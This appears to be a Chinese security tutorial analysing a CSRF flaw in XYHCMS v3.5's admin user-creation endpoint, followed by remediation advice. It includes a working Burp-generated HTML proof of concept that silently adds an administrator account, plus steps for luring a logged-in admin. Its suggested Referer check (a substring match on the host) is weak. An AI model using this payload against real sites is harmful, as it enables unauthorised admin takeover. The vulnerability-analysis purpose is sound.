某CMS后台CSRF漏洞利用
字数 945 2025-08-29 08:32:09
XYHCMS后台CSRF漏洞分析与利用教学文档
漏洞概述
本文档详细分析XYHCMS v3.5版本中存在的后台CSRF(跨站请求伪造)漏洞,该漏洞存在于添加系统用户的功能模块中,由于缺乏有效的CSRF防护机制,攻击者可构造恶意页面诱骗管理员点击,从而在不知情的情况下添加后台管理员账户。
漏洞环境
- 受影响系统:XYHCMS v3.5(20180518版本)
- 漏洞文件:
/xyhai.php?s=/Auth/addUser - 请求方式:POST
漏洞分析
1. 代码审计
关键漏洞代码位于添加用户的后台处理逻辑中:
public function addUser() {
if (IS_POST) {
//用户组
$group_id = I('group_id', array());
$department = I('department', array());
//...省略部分验证代码...
$validate = array(
array('username', 'require', '用户名不能为空!'),
array('password', 'require', '密码不能为空!'),
array('password', '5,20', '密码必须在5到20位之间', 0, 'length'),
array('username', '', '用户名已经存在!', 0, 'unique', 1),
);
$data = M('Admin');
if (!$data->validate($validate)->create()) {
$this->error($data->getError());
}
//...省略密码处理代码...
if ($id = $data->add()) {
$group_data = array();
foreach ($group_id as $key => $val) {
$group_data[] = array('uid' => $id, 'group_id' => $val);
}
$result = M('AuthGroupAccess')->addAll($group_data);
if ($result) {
$this->success('添加成功', U('indexOfUser'));
} else {
$this->error('权限设置失败|用户添加成功');
}
} else {
$this->error('添加失败');
}
exit();
}
//...省略视图渲染代码...
}
2. 漏洞点分析
-
缺乏CSRF防护机制:
- 代码中没有使用token验证
- 没有验证Referer头
- 没有使用验证码机制
-
请求处理流程:
- 仅检查IS_POST标志
- 对输入数据仅做基本验证(用户名、密码格式等)
- 没有验证请求来源是否合法
漏洞利用
1. 构造恶意HTML页面
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/daimashenji/xyhcms_v3.5_20180518/xyhai.php?s=/Auth/addUser" method="POST">
<input type="hidden" name="username" value="test" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="department[]" value="1" />
<input type="hidden" name="department[]" value="4" />
<input type="hidden" name="department[]" value="3" />
<input type="hidden" name="group_id[]" value="1" />
<input type="hidden" name="realname" value="hello" />
<input type="hidden" name="email" value="111@qq.com" />
<input type="hidden" name="is_lock" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2. 利用步骤
- 攻击者构造上述HTML页面并托管在任意web服务器
- 诱骗已登录后台的管理员访问该页面
- 页面自动提交表单,在管理员不知情的情况下添加新用户
- 攻击者使用新添加的账户(test/123456)登录后台
3. 利用效果
成功添加具有管理员权限的新用户:
- 用户名:test
- 密码:123456
- 部门权限:1,4,3
- 用户组权限:1(通常为最高权限组)
- 账户状态:未锁定(0)
防御建议
1. 基础防御措施
-
添加CSRF Token验证:
// 表单生成时 <input type="hidden" name="__token__" value="<?php echo session('__token__'); ?>"> // 请求处理时 if (!check_token(I('__token__'))) { $this->error('非法请求'); } -
验证Referer头:
$referer = $_SERVER['HTTP_REFERER']; $host = $_SERVER['HTTP_HOST']; if (strpos($referer, $host) === false) { $this->error('非法请求来源'); } -
使用验证码:
- 对敏感操作添加验证码验证
2. 进阶防御措施
-
SameSite Cookie属性:
session_set_cookie_params([ 'samesite' => 'Strict', 'secure' => true, 'httponly' => true ]); -
双重验证:
- 对敏感操作要求二次密码确认
- 或使用短信/邮件验证
-
操作日志记录:
- 记录所有管理员操作,便于审计
3. 注意事项
- 使用token时需要配合XSS防御,否则token可能被窃取
- 验证码应使用服务器端会话存储,而非客户端可预测的值
- 防御措施应组合使用,而非单一依赖
总结
该CSRF漏洞源于开发人员对敏感操作缺乏足够的请求来源验证,攻击者可利用此漏洞在管理员不知情的情况下执行添加管理员账户等敏感操作。修复时应采用多层次防御策略,结合token验证、Referer检查等多种机制,同时注意相关防御措施的实现安全性。